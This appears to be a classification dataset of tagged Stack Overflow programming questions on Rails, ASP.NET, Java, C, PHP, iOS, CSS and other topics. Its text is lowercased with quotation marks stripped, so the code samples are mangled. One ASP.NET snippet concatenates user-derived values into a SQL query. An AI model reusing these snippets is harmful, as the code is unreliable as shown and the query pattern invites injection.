validation error prints {{errors}} rather than the real error  after having something upgraded from underneath me (unfortunately  i m not sure what)  validation errors now print the following:   <pre><code>activerecord::recordinvalid: validation failed: {{errors}}     from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/validations.rb:1102:in `save_without_dirty!      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/dirty.rb:87:in `save_without_transactions!      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/transactions.rb:200:in `save!      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/connection_adapters/abstract/database_statements.rb:136:in `transaction      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/transactions.rb:182:in `transaction      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/transactions.rb:200:in `save!      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/transactions.rb:208:in `rollback_active_record_state!      from /library/ruby/gems/1.8/gems/activerecord-2.3.8/lib/active_record/transactions.rb:200:in `save!      from (irb):34     from :0 </code></pre>   i m setting the error like this:   <pre><code>errors.add_to_base( outside edit window ) </code></pre>   this used to work  what am i doing wrong  this is on rails 2.3.8.,ruby-on-rails
asp.net forms authentication - warn user when session is about to end  i have an asp.net 3.5 app using forms authentication.    it would be nice to be able to warn a user that their login session will timeout. i m thinking that it would require some ajax / jquery but thats as far as i ve got.,asp.net
public holiday checker (uk)  i need to prevent entry to a car park system during public holidays  but instead of making more classes i was hoping it could be done within my existing method. my question is  is there such thing in java that already has public holiday dates predefined and can be used within if state or some sort to prevent entry if todays date matches those list of public holiday dates.     this is my existing method.which as you can see checks if its weekend  saturday and sunday  both which are public day off. but in uk there are more days such as bank holidays  but how do i define all the rest of the dates.    <pre><code>public boolean checkholiday(){     calendar cal = calendar.getinstance();     int dayofweek = cal.get(calendar.day_of_week);      if (dayofweek == 1 || dayofweek == 7){         return true;     } else {         return false;     }     /*add method for further holiday date check*/   } </code></pre>,java
how to host a normal web service not wcf in iis using console  is there any way that i can host a web service in iis from my c# code     thanx,.net
detailsviewinside linkbutton onclick it rediects and open newtab  i am working with details view inside details view itemtemplete i have link button when click that link button it need to redirect and open new tab for that i use this code    protected void lnkpost_click(object sender  eventargs e)     {   <pre><code>    detailsviewrow row= (detailsviewrow)((linkbutton)sender).namingcontainer;     int postid = convert.toint32((row.findcontrol( lblpostid ) as label).text);     if (postid != null)     {        string query =  select * from gigpost where gigpostid=   + postid +    ;         sqlcommand cmd = new sqlcommand(query  cn);         sqldatareader dr = cmd.executereader();          if (dr.read())         {             string postsource = dr[ postsource ].tostring();             response.write( &lt;script&gt; window.open(  + postsource+   ); &lt;/script&gt; );             response.end();         }     }   } </code></pre>   i am getting  unable to cast object of type  system.web.ui.webcontrols.detailsview  to type  system.web.ui.webcontrols.detailsviewrow .  this error please help me how to resolve this issue    regards  venkat,asp.net
how is time_t defined  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/471248/what-is-ultimately-a-time-t-typedef-to >what is ultimately a time_t typedef to </a>    </blockquote>     in /usr/include/time.h time_t is defined as <code>typedef __time_t time_t</code>. what does this mean exactly  is the type of time_t compiler specific  i have heard it is by default a <code>long</code> value.,c
programmatically retrieve function header information  i have a function getmainwindowae  which contains the header information as shown below.   <pre><code>    /// &lt;summary&gt;     /// gets the main window automation element.     /// &lt;/summary&gt;     /// &lt;returns&gt;&lt;/returns&gt;     public static automationelement getmainwindowae()     {         //return automation element using window handle of that process         return automationelement.fromhandle(appcontext.activeapplication.process.mainwindowhandle);     } </code></pre>   how can i programmatically get the data which is in header with comments using .net,c#
agenda / scheduler / calendar in c  i need to have an idea to write a part of a program i am supposed to do.    this part is meant to be an agenda were we can schedule something and check what conflicts we have when making a new appointment.    i have though of using some kind of structures  but i guess i am complicating the whole thing.    i was thinking of having a struct for the year  a struct for the month and a new struct for the day. then  the year was having the month structure and the month was having the day structure. but i feel that this can be made more simpler  i just can t get any better ideas.    how can i make this more simpler  i just need to make something to store a new appointment on a day and hours and something that it cannot have two appointments for the same time.    any help  i would appreciate.   <pre><code>enum diasemana { domingo  segunda  terca  quarta  quinta  sexta  sabado };  struct dia {     int dia;     int semana;     char* horas[24][60]; };  struct meses {     int mes;     char* nome[11];     struct dia dia; };  struct ano {     int ano;     tipoano tipo;     struct meses jan;     struct meses fev;     struct meses mar;     struct meses abr;     struct meses mai;     struct meses jun;     struct meses jul;     struct meses ago;     struct meses set;     struct meses out;     struct meses nov;     struct meses dez; }; typedef struct ano ano; typedef ano *pano;  int validabi(int ano) {     if(ano%4==0)         return 0;     else         return 1; } </code></pre>,c
why we use app delegate in our application  i am new in iphone development and i needed a array which i use to access in different class so my senior told me that you should declare in app delegate and access it another class in which it require  so i wrote line for that   <pre><code>myappappdelegate * appobject =                   (myappappdelegate*)[[uiapplication sharedapplication]delegate]; </code></pre>   i done my task successfully but i couldn t get it 100%. someone tell that why we use this and in what exactly situation in which we ve to use this,iphone
getting unique records from table who has multiple occurences  i trying to pull up all the patient records(without duplication). in my database all the patients have multiple visit id s and multiple visit dates.    i have tried this one:   <pre><code>select distinct * from patientvisit where visit in (select min(visit) from  patientvisit group by patientprofileid) </code></pre>,sql
how to use function to require php file not changing global vars environment   how to use function to require php file not changing global vars environment <br> if using function  and in function codes  require(xxx.php)  then all the vars in xxx.php are not global vars again. for the example bellow   i want to get the result is  linjuming   but the oop.php is required in the require_part() function  so echo $name is not  linjuming  any more. <br> pls dont use global $name in require_part function . for this function is a common function to require any php file. other php files have their own global vars. my codes here:   <pre><code>&lt; php $name= linjuming ; class my_template{     function require_part($part_name){         if(file_exists($part_name. php )){             require($part_name. php );         }     } }  $tmp=new my_template(); $tmp-&gt;require_part( oop );  /*     oop.php codes：     &lt; php echo $name;  &gt;      i want to run component php file and do not change the global environment;     how to do that    */  &gt; </code></pre>,php
output computation strategy problem  maybe not the best title i can think of but my problem is this:    i have to design a c# application which takes a bunch of inputs  perform some computation on the input according to a bunch of rules to get a set of results.    the problem is that the rules can change as an when required. to complicate things  many of them are cross tab look ups and conditionals. for example    <pre><code>public string rule_getfruitforthisseason(hamper design) {     // crosstab of 2 properties of values 400 to 100 and 600 to 500 respectively.     if(design.pty1 &gt; 400 &amp;&amp; design.pty &gt; 600) return  apple ;     else if(design.pty1 &gt; 200 &amp;&amp; design.pty &gt; 600) return  pear ;     else if(design.pty1 &gt; 100 &amp;&amp; design.pty &gt; 600) return  orange ;     else if(design.pty1 &gt; 400 &amp;&amp; design.pty &gt; 500) return  grape ;     else if(design.pty1 &gt; 200 &amp;&amp; design.pty &gt; 500) return  berry ;     else if(design.pty1 &gt; 100 &amp;&amp; design.pty &gt; 500) return  peach ; } </code></pre>   and then during the next season  all the fruits might change again! (even the conditionals may change.) ideally  i don t want the programmer to change the fruits every season. the hamper designers should be able to do it themselves.    worse still there could be rules that depend on the output for example   <pre><code>public string rule_getboxforfruit(string fruit) {    if(fruit ==  apple  || fruit ==  pear  || fruit ==  orange  || fruit ==  peach ) return  big box ;    else return  small box ; } </code></pre>   i have been thinking through various methods and currently i am using excel for its lookup() and generally ability to evaluate formulas  and then directly reading the excel results. but it is still a huge cumbersome task.    anyone has any ideas on how to approach this in a better way  thank you.,c#
back key show the different behavior  i am trying to learn android by imitating some existed apps.    i choose google map for android with version 5.x because gapps comply to the android style.    and i am trying to implement this feature:    user search something through the search widget in the actionbar  then every item of the result will displayed at the map as a marker  at the same time  the <code>menuitems</code> inside the actionbar will be changed.    i made it working  however i found that the <code>back</code> key works differently between the google map and my example app.    see this <a href= http://imgbin.org/images/15449.gif  rel= nofollow >gif</a> to make it clear.    as is shown  user only need press the <code>back</code> once to go back to the home page of google map application  and leave the application by pressing once again.    however  in my application  user have to press the <code>back</code> twice to go back to the home page of my app  and what s more  the new added menu item(to result list) is not removed.    at first  i think that google map may capture the <code>back</code> press event  and do some job.     however  even i tried to capture the <code>back</code> press event  i can not implement the same effect.    this is my <a href= http://goo.gl/2rtzdz  rel= nofollow >activity code</a> and the <a href= http://goo.gl/c92kth  rel= nofollow >androidmanifest.xml</a>    what s the problem,android
why  method missing  error in ror   despite the other excellent answers here to similar posts  i cannot see the error in my code that is producing this error:  undefined method `parse_file  for...   i m using ror (rails 2.1) and am simply trying to upload and parse a csv file using fastercsv plugin. i am also saving a record of the file s filename in the upload table.    many thanks for any help (this is driving me nuts...):    my model:   <pre><code>   require  fastercsv     def new      @upload = upload.new    end    def self.parse_file(file)          fastercsv.foreach(file.path :headers=&gt; first_row   :col_sep=&gt; \t ) do |row|       row.each{|row| puts  row: #{row.inspect} }     end    end </code></pre>   my controller:   <pre><code> def create      @upload = upload.new         thefile = params[:upload][:upload_file]     @upload.filename = base_part_of(thefile.original_filename)     @upload.parse_file(thefile)      respond_to do |format|       if @upload.save         flash[:notice] =  upload was successful.          format.html { redirect_to(@upload) }         format.xml  { render :xml =&gt; @upload  :status =&gt; :created  :location =&gt; @upload }       else         format.html { render :action =&gt;  new  }         format.xml  { render :xml =&gt; @upload.errors  :status =&gt; :unprocessable_entity }       end     end    end     def base_part_of(file_name)       file.basename(file_name)   end </code></pre>   my view:   <pre><code>&lt;% form_for(:upload               :url =&gt; {:action=&gt; :create}               :html =&gt; { :multipart =&gt; true} ) do |form| %&gt;    upload your file: &lt;%= form.file_field( upload_file  :size=&gt;50 :class =&gt;  csv-input ) %&gt;&lt;br/&gt;    &lt;%= submit_tag( upload ) %&gt;  &lt;% end %&gt; </code></pre>   the (partial) stack trace of the error:   <pre><code>vendor/rails/activerecord/lib/active_record/attribute_methods.rb:256:in `method_missing  vendor/rails/actionpack/lib/action_controller/base.rb:1162:in `send  vendor/rails/actionpack/lib/action_controller/base.rb:1162:in `perform_action_without_filters  vendor/rails/actionpack/lib/action_controller/filters.rb:580:in `call_filters  vendor/rails/actionpack/lib/action_controller/filters.rb:573:in `perform_action_without_benchmark  vendor/rails/actionpack/lib/action_controller/benchmarking.rb:68:in `perform_action_without_rescue  /usr/lib/ruby/1.8/benchmark.rb:293:in `measure  vendor/rails/actionpack/lib/action_controller/benchmarking.rb:68:in `perform_action_without_rescue  vendor/rails/actionpack/lib/action_controller/rescue.rb:201:in `perform_action_without_caching  vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb:13:in `perform_action  vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb:33:in `cache  vendor/rails/activerecord/lib/active_record/query_cache.rb:8:in `cache  vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb:12:in `perform_action  vendor/rails/actionpack/lib/action_controller/base.rb:529:in `send  vendor/rails/actionpack/lib/action_controller/base.rb:529:in `process_without_filters  vendor/rails/actionpack/lib/action_controller/filters.rb:569:in `process_without_session_management_support  vendor/rails/actionpack/lib/action_controller/session_management.rb:130:in `process  vendor/rails/actionpack/lib/action_controller/base.rb:389:in `process  ... </code></pre>,ruby-on-rails
fixed div stops the entire page from scrolling  i am trying to create a website with a fixed div in the background to act as a backdrop for the content against the background. when i set it to <code>position:fixed</code> in the css the page will no longer scroll  and any other way seems to break the page. any suggestions     (the div i m speaking about it the top one with the bg-container class).    index.php: (the <code>&lt;p&gt;</code> tag was for me to test the scrolling of the page.)   <pre><code>&lt;!doctype html&gt;  &lt;html&gt; &lt;!-- 00a7fe --&gt; &lt;head&gt; &lt;meta content= text/html; charset=utf-8  http-equiv= content-type  /&gt; &lt;title&gt;sublimity gaming&lt;/title&gt; &lt;link href= main.css  rel= stylesheet  type= text/css /&gt; &lt;/head&gt;  &lt;body&gt;   &lt;div class= bg-container &gt;     &lt;div class= main &gt;       &lt;div class= header &gt;         &lt;div id= logo-pos  style= height:100%;padding-bottom:100px &gt;           &lt;a class= logo-sublimity  href= index.php  style= top:25px; left:60px &gt;&lt;/a&gt;           &lt;a class= logo-gaming  href= index.php  style= top:25px; right:60px &gt;&lt;/a&gt;         &lt;/div&gt;         &lt;div id= nav-pos &gt;           &lt;p style= color:white; padding:100px &gt;point1&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;point2&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;point3&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;point4&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;point5&lt;/p&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   and my main.css:   <pre><code>@charset  utf-8 ; @font-face {     font-family:  roboto lt ;     font-weight: normal;     font-style: normal; } * {     padding:0;margin:0 } html  body {     position:absolute;     height:auto;     overflow:auto } body {     background-image:url( imgs/bg1.jpg ); background-color:black;     background-position:top left; font-family: roboto lt ;     font-size:14px; width:100%; position:fixed; } .main {     background:transparent no-repeat top center;     margin:0 auto;     width:100%; padding-top:180px; padding-bottom: 24px; } .bg-container {     background:url( imgs/container-bg.png ) transparent top center fixed;     background-repeat:repeat-y;     width:1025px; height:100%;     left:50%; margin-left:-512.5px;     display:inline-block; position:fixed } .header {     background:transparent no-repeat top center;     margin:auto; height:180px; width:100%;     position:absolute; margin-top:-180px } .logo-sublimity {     background:url( imgs/logo-sublimity.png ) no-repeat;     width:447px;height:129px;     position:absolute; display:block } .logo-gaming {     background:url( imgs/logo-gaming.png ) no-repeat;     width:379px; height:129px;     position:absolute; display:block } .nav-bar-container {     /*todo*/ } </code></pre>,html
how do i find which button the console is referring to in xcode   i m getting a runtime error:    <pre><code>failed to set (keypath) user defined inspected property on (uibutton): [&lt;uibutton 0x13fe79390&gt; setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key keypath.  </code></pre>   since i have thousands of <code>uibutton</code>s  is there a quick way to find what does this number <code>0x13fe79390</code> correspond to  i know i can <code>po 0x13fe79390</code> but that doesn t do anything.,ios
ambiguous overload for  operator =  in  authlog = myfile   i m trying to make a game that can save your progress. i already did this and it worked but now it doesn t work anymore.    <strong>error:</strong>   <blockquote>    43: ambiguous overload for  operator=  in  authlog = myfile <br>       note: candidates are: std::basic_string&lt;_chart _traits _alloc>&amp; std::basic_string&lt;_chart <em>traits </em>..........etc  </blockquote>   the code that is causing the error:   <pre><code>if ( myfile.is_open() )     {          while ( getline ( myfile line ) )          {              cout &lt;&lt;  you already have a save file!\n ;             }          myfile.close();          myfile.clear();          authlog = myfile;          myfile.open( username.txt );          cout &lt;&lt;  enter your username:\n ;          cin &gt;&gt; auth;          if( auth == authlog )          {           }     } </code></pre>,c++
understanding the array of objects <pre><code>twodshape shapes[] = new twodshape[2]; shapes[0] = new triangle( outlined  8.0 12.0); shapes[1] = new rectangle(10); </code></pre>   there is a superclass which is twodshape and there are subclasses of it.(triangle   rectangle vs.) i understand well that superclass reference can refer to subclass object.yet   i couldn t understand what is happening in the above.did we create a object which is <code>shapes</code>   i know   arrays are objects.(i m not sure whether it is relevant or not .. ) could you explain the logic of these statements,java
time plus minutes  i have a bunch of data containing a time value  e.g. 09:30am  and a duration  either 15 30 45 or 60. what would be the best way of getting the end time from these values  will it be some use of a date / calendar or would just a custom function be quicker to do,android
which are the correct ways of making modifications in existing codebase from another vendor   lets suppose we have downloaded php source codes of some product (framework or cms for example) of some vendor.    after examination of source code  it was found that some parts of it should be slightly (a change of 1-2 lines) modified in order to integrate properly with our application.    is there any well-known technique for doing such modifications  imagine  we ve changed something and after that vendor releases a new version of its product and we should manually compare all files in order to transfer our modifications to the new version. are there any ways to avoid such issues  maybe there are some command-line tools  which can simplify it     <strong>edit</strong><br> just found <a href= https://stackoverflow.com/questions/1973021/what-are-some-strategies-to-facilitate-relatively-heavy-modification-of-vendors rq=1 >https://stackoverflow.com/questions/1973021/what-are-some-strategies-to-facilitate-relatively-heavy-modification-of-vendors rq=1</a><br> answer of <a href= https://stackoverflow.com/users/51101/breton >@breton</a> mentions using git and 2 separate branches. we can go with that  but maybe someone knows other ways to do that <br> in our case modifications in vendor code are very small (1-2 lines) ...,php
301 redirect to external site in header aspx with routecollection <h3>what i m trying to accomplish:</h3>   add a 301 redirect to the route collection to an external site. i think i m not fully redirecting as i m still getting the base domain in the route for some reason. for instance  if i m redirecting to <a href= https://google.com  rel= nofollow noreferrer >https://google.com</a> and my site name is <a href= https://example.com  rel= nofollow noreferrer >https://example.com</a>. my redirection is: example.com/<a href= https://google.com  rel= nofollow noreferrer >https://google.com</a>. before marking this as a duplicate please consider the  other stack posts suggested  section at the bottom.    <h3>what error i m getting:</h3>  <blockquote>    a potentially dangerous request.path value was detected from the client (:).    </blockquote>   note: i don t believe this character is the problem because <strong>the base domain shouldn t be included in the url </strong> and i have seen <a href= https://stackoverflow.com/q/5967103/9334557 >this thread</a>.   <h3>what i m trying:</h3>   on <code>application_start()</code> in <code>global.aspx</code> i define a set of 301 redirects and add them to the <code>routetable.route</code> that property is just a <code>routecollection</code>.  i add to those external routes to my routecollection like this:   <pre><code>public static void registerroutes(routecollection routes) {     ...     //inside foreach  inside condition if the redirect is external  this hits put many conditional breakpoints here     routes.add( redirect  + redirect.redirect_id.tostring() +  route                        new route(redirect.old_path  new customroutehandler( ~/file/full-redirect.aspx )));     ... } </code></pre>   my <code>customroutehandler</code> class is defined as:   <pre><code>public class customroutehandler : iroutehandler {     public customroutehandler(string strvirtualpath)     {         this.virtualpath = strvirtualpath;     }      public string virtualpath { get; private set; }      public ihttphandler gethttphandler(requestcontext requestcontext)     {         var page = buildmanager.createinstancefromvirtualpath(virtualpath  typeof(page)) as ihttphandler;         return page;     } } </code></pre>   my <code>full-redirect.aspx.cs</code> redirect logic is defined as:   <pre><code>protected void page_load(object sender  eventargs e)     {         if (!ispostback)         {             datarow dtredirect = **query is here**;             //if you need extra query details i use request.path.tolower().substring(1) and where clause looking for the old path. this works in all other cases.             string newpath = dtredirect[ new_path ].tostring();             response.status =  301 moved permanently ;             response.appendheader( location   newpath);         }     } </code></pre>  <h3>other stack posts suggested:</h3>  <ul> <li>i ve reviewed <a href= https://stackoverflow.com/q/5967103/9334557 >this thread</a></li> <li>response.redirect(newpath): i tried this and received the same result.</li> <li>response.redirectpermanent(newpath): i tried this and received the same result.</li> <li>setting the response.statuscode to 301 along with appending the header.</li> <li>setting response.redirect  statuscode  and appending the header.</li> <li>setting response.redirectpermanent  statuscode  and appending the header.</li> </ul>,asp.net
how to add two java.lang.numbers   i have two numbers. eg:   <pre><code>number a = 2; number b = 3; //following is an error: number c = a + b; </code></pre>   why arithmetic operations are not supported on numbers  anyway how would i add these two numbers in java  (of course i m getting them from somewhere and i don t know if they are integer or float etc).,java
how should an address book be made a property of a class   i have a class that accesses the address book  if i have the following code then i get warnings from the analyzer  one is for a leak in the init method and another is saying the class doesn t own the object when its releasing it in the dealloc.    i presume the 2nd warning is due to declaring the address book ref as assign  but its not possible to make it strong as this generates a compilation warning. what is the correct way of dealing with the address book as a property    <pre><code>@property (assign  nonatomic)   abaddressbookref                addressbook;  .. - (id) init {     self = [super init];     if (self)     {         if (abaddressbookcreatewithoptions)         {             // ios 6 onwards             self.addressbook = abaddressbookcreatewithoptions(null  null);         }         else         {             // &lt; ios 6             self.addressbook = abaddressbookcreate();         }     }     return self; }   - (void) dealloc {     if (self.addressbook)     {         cfrelease(self.addressbook);     } } </code></pre>,ios
problems in moving a file  i am trying to move a file with the following code:   <pre><code>$f =  image.jpeg ; $source = /waiting/$f ; $destination =  /excepted/$f ; copy($source  $destination) or die( error 1 ); </code></pre>   however i get this error every time:   <pre><code>warning: copy(waiting/$f) [function.copy]: failed to open stream: no such file or directory in c:\xampp\htdocs\gallery\v2\excepted.php on line 13 </code></pre>   i realize it is because there is no file but it is not picking up the variables.,php
jquery position vs css  i am a server guy with limited but growing client side (javascript) abilities.    i have an app that requires a half dozen div tags with inner background images and text all positioned over larger image. think transparent images with roll overs and text. all of this is somewhat dynamic depending on server side templates and configuration.    i am finding it much easier to position these programmatically using the core jquery position() method than attempting a pure css and markup based approach. there are a number of techniques for vertially centering text within a div using css but position() just makes this easy.    my question:     how valid is an approach that makes extensive use of position() vs an approach that uses more of pure markup (traditional html and css)  i realize that in the end  most of the jquery approach translates into styles and css.,jquery
how to use a plist as persistent storage for iphone app  how can we use plist as a database to store dates in iphone sdk    show me some link to study the plist,iphone
date picker is not initializing angular js  i am trying to intialize the date picker to the textbox using angular js directive.    here is my angular js  directive    <pre><code> var testapp = angular.module( testapp  []);  testapp.directive( mydatepicker   function () {    return {        restrict:  a          require:  ngmodel          link: function (scope  element  attrs  ngmodelctrl) {         $(element).datepicker({         dateformat:  dd  d  mm  yy           onselect: function (date) {             scope.date = date;             scope.$apply();          }       });     }   }; }); </code></pre>   html code i wrote :   <pre><code>&lt;body ng-app= testapp  ng-controller= mycontroller &gt;  // some other html code   &lt;input type= text  ng-model= date  mydatepicker /&gt;    &lt;br/&gt;     {{ date }} //some other html code &lt;/body&gt; </code></pre>   datepicker is not getting intialized.  here is the js fiddle    <a href= http://jsfiddle.net/5ua9guee/19/  rel= nofollow >http://jsfiddle.net/5ua9guee/19/</a>    in the js fiddle i am getting two errors :   <ol> <li> uncaught referenceerror: jquery is not defined </li> <li> uncaught error: [$injector:modulerr] failed to instantiate module app due to: </li> </ol>   i tried the existing posts but no one worked for me.      thank you,angularjs
removing title from full contact name  i m writing a little function to remove common titles from a full contact name field. this is what i have so far:   <pre><code>string[] commontitles = new string[] {  mr     mrs     ms     miss     dr     herr     monsieur     hr     frau     a v m     admiraal                      admiral     alderman     alhaji     ambassador     baron     barones     brig     brigadier     brother     canon     capt     captain                      cardinal     cdr     chief     cik     cmdr     col     colonel     commandant     commander     commissioner     commodore     comte                      comtessa     congressman     conseiller     consul     conte     contessa     corporal     councillor     count     countess     air cdre                      air commodore     air marshal     air vice marshal     brig gen     brig general     brigadier general     crown prince     crown princess                      dame     datin     dato     datuk     datuk seri     deacon     deaconess     dean     dhr     dipl ing     doctor     dott     dott sa                      dr     dr ing     dra     drs     embajador     embajadora     en     encik     eng     eur ing     exma sra     exmo sr     f o                      father     first lieutient     first officer     flt lieut     flying officer     fr     frau     fraulein     fru     gen     generaal                      general     governor     graaf     gravin     group captain     grp capt     h e dr     h h     h m     h r h     hajah     haji                      hajim     her highness     her majesty     herr     high chief     his highness     his holiness     his majesty     hon     hr                      hra     ing     ir     jonkheer     judge     justice     khun ying     kolonel     lady     lcda     lic     lieut     lieut cdr                      lieut col     lieut gen     lord     madame     mademoiselle     maj gen     major     master     mevrouw     miss     mlle     mme                      monsieur     monsignor     mstr     nti     pastor     president     prince     princess     princesse     prinses     prof                      prof dr     prof sir     professor     puan     puan sri     rabbi     rear admiral     rev     rev canon     rev dr     rev mother                      reverend     rva     senator     sergeant     sheikh     sheikha     sig     sig na     sig ra     sir     sister     sqn ldr     sr                      sr d     sra     srta     sultan     tan sri     tan sri dato     tengku     teuku     than puying     the hon dr     the hon justice                      the hon miss     the hon mr     the hon mrs     the hon ms     the hon sir     the very rev     toh puan     tun     vice admiral                      viscount     viscountess     wg cdr   };                string returnname = textbox1.text.toupper();              foreach (string title in commontitles)             {                 returnname = returnname.replace(title    );             }              messagebox.show(returnname); </code></pre>   however  i have just tried to test this with the following input: <strong>khun ying abu dina mr mrs toh major</strong> but i get this back: khun yabu dina toh major    is there something better than using a replace function     thanks for your help in advance.,c#
which will be loaded first static block or static variable   as i read every one is saying static block will be executed first but when i run a piece of code i found that static variable is loading first.now this is confusing me please give a proper explanation.   <h2>code</h2>  <pre><code>public class myclass  {     static int x=show();     static     {         system.out.println( hello mayar );     }     public static int show()     {         system.out.println( hello show );         return 1;     }     public static void main(string a[])     {         system.out.println( hello main );     } } </code></pre>  <h2>output</h2>  <pre><code>hello show hello mayar hello main </code></pre>,java
difference between declaring a variable under @implementation and @interface under .m file  i have been learning objective-c for awhile. from what i learned  i know that when you declare a variable inside <code>@interface</code> in the <strong>.h file</strong>  the variable can be accessed publicly(similar as a public variable in java).   <pre><code>@interface myobject  @property nsinteger intdata;  @end </code></pre>   but when you declare it inside <code>@interface</code> in the <strong>.m file</strong>. it can only be accessed inside the .m file under @implementation only  unless you provide a getter and setter for it.    <pre><code>@interface myobject ()  @property nsinteger intdata;  @end </code></pre>   but i also noticed another way of declaring a variable  which is declaring it under <code>@implementation</code>     <pre><code>@implementation  nsinteger intdata;  @end </code></pre>   and i see that it works the same way as declaring it under <code>@interface</code> with <code>@property</code> in .m file    i don t understand the difference between the two(declaring under @implementation and under @interface(in <strong>.m file</strong>).     <em>i ve already searched through stack about this  but they were all talking about the difference between @implementation and @interface(in <strong>.h file</strong>). so think this is not a duplicate.</em>,objective-c
defining a default class property in python   not sure if this is possible in python  but i d like to have an instance of a class as a module-level global variable that  when called  returns a default property.    the idea comes from <a href= https://stackoverflow.com/q/460586 >this question</a> that overrides <code>__call__</code> to have a class mimic a function.    quick (untested) example of the idea:   <pre><code>class _foo(object):     __slots__ = ( _foo  )     _init = false      def __init__(self):         if not _init:             self._foo = [ bar    baz    zog ]      def __call__(self  item=none):         if itme is not none:             return self._foo[item]         else:             return self._foo      def __getitem__(self  item):         return self._foo[item]  # module level foo = _foo() </code></pre>   <br/><br/>assume the above code is in a module (foo.py).  using the interpreter  i cal get the callable form to work how i want  but not the non-callable form.   <pre><code>&gt;&gt;&gt; import foo  # callable forms &gt;&gt;&gt; foo.foo(0)  bar  &gt;&gt;&gt; foo.foo() [ bar    baz    zog ]  # attribute forms &gt;&gt;&gt; foo.foo[2]  zog   # doesn t work &gt;&gt;&gt; foo.foo &lt;foo._foo object at 0xdeadbeef&gt;  # desired output &gt;&gt;&gt; foo.foo [ bar    baz    zog ] </code></pre>   <br/><br/>my thinking is that i need to define a default property somehow so that when calling the instance directly  i get the internal list/dict of my choosing.  i could cheat and do this via overriding <strong>repr</strong>  but that kinda breaks python s own api and i want to avoid that.  passing no value in square brackets (<code>&gt;&gt;&gt; foo.foo[]</code>) yields a syntax error instead.    i d like any potential solutions to be compatible with python 2.4 at minimum and 2.7 at maximum.  if this isn t possible  then i guess i ll just stick to using the callable format.,python
what standards and practices should i use to develop an application that runs on both the iphone and on ipads   what standards and practices should i use to develop an application that runs on both the iphone and on ipads,iphone
sql statement to track the number of defects opened each day by application  i use quality center to track defects  i believe it uses mssql language. i have a table that has the following fields: defectid  summary  application  severity  status  createdate  closeddate. will just cover the relevant fields.   <pre><code>defectid application severity createdate closeddate -------- ----------- -------- ---------- --------- 1        app1        sev1     3/10/2010  3/23/2010 2        app1        sev1     3/15/2010  3/23/2010 3        app2        sev1     3/14/2010  3/25/2010 4        app1        sev2     3/18/2010  3/24/2010 5        app1        sev1     3/15/2010  3/19/2010 6        app1        sev1     3/25/2010 </code></pre>   i need the sql to output the number of sev1 defects that were open on a given date. i would like to supply the date range. here is the output sample  some where in the sql i will identify the start date of 3/22 and an end date of 3/26   <pre><code>application 3/22 3/23 3/24 3/25 3/26 --------------------------------------- app1        3    1    0    1    1 app2        1    1    1    0    0 </code></pre>   if the app as to be horizontal (list going across) and date has to be vertical (list going down) that is fine. any help is appreciated.,sql
how to center a div table in browser  i used div to create a 2 column table.    my div table located at left hand side. how to center this div table   thanks   <pre><code>&lt;div id= result  align= center  &gt; &lt;div id= col1  style= float:left &gt; a&lt;br /&gt; b&lt;br /&gt; &lt;/div&gt; &lt;div id= col2  style= float:left &gt; 1&lt;br /&gt; 2&lt;br /&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>,html
c# timeout on tcpstream.read  i have the following code to read and write to a http stream  however i m dealing with iffy servers so i would like to be have a timeout on my read operation as well. i just don t know how to put it together in a nice manner   <pre><code>        networkstream stream = client.getstream();         task write = stream.writeasync(buffer  0  buffer.length);         int i = 0;         boolean finished = false;         while (!finished)         {             while (stream.dataavailable)             {                 i += stream.read(buffer_  i  1024);                  if (i &gt; 3)                 {                     if (buffer_[i - 1] == 0x00)                     {                         finished = true;                         break;                     }                 }             }         }         if (!write.wait(1000))         {             messagebox.show( write timed out );             return null;         }         return buffer_.take(i).toarray(); </code></pre>,c#
jquery onclick change value22  i have code that should change the anochor and the id value when clicking on it. the value and the anchor are changing  but only 1 time. can you tell me why it s not working     html   <pre><code>&lt;a href= #  id= enable-edit-button &gt;edit&lt;/a&gt; </code></pre>   js   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function() {     $( #enable-edit-button ).click(function()     {         $(this).attr( id   save-edit-button );         $(this).html( save );      });      $( #save-edit-button ).click(function()     {         $(this).attr( id   enable-edit-button );         $(this).html( edit );    });  }); &lt;/script&gt; </code></pre>,jquery
how to create an android application to control pc command line   the question says it all... what i am trying to do is find an application which can connect to a pc and take control of the command line     anyone know of any tutorials that teach me and show me how to do this thanks,android
